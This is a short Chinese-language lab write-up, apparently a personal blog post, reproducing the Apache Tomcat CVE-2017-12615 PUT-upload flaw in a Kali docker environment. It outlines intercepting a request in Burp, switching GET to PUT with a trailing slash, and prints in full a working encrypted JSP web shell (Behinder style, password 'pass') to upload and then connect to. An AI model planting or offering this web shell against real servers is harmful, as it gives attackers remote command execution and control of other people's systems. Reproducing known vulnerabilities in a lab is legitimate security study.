Tomcat (CVE-2017-12615 )漏洞复现
漏洞形成原因
漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,
漏洞如何利用
所以服务器存在远程命令执行漏洞,攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传jsp一句话文件,从而造成远程命令执行,getshell等。
漏洞复现过程
- Kali docker 容器中启动此漏洞环境
-
浏览器访问 Kali 的 ip 地址并接上8080端口
-
抓包
-
将 GET 方法修改成 PUT 方法,如下图:
-
访问url并跟上 PUT 的文件名,可看到页面返回我们在 burp 里面上传的文件内容
- 上传jsp一句话文件,jsp文件末尾需跟上/
- 一句话木马,密码为 pass
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
- 访问666.jsp
- 上冰蝎
漏洞复现成功,
技术萌新,还请各位大牛多多指点!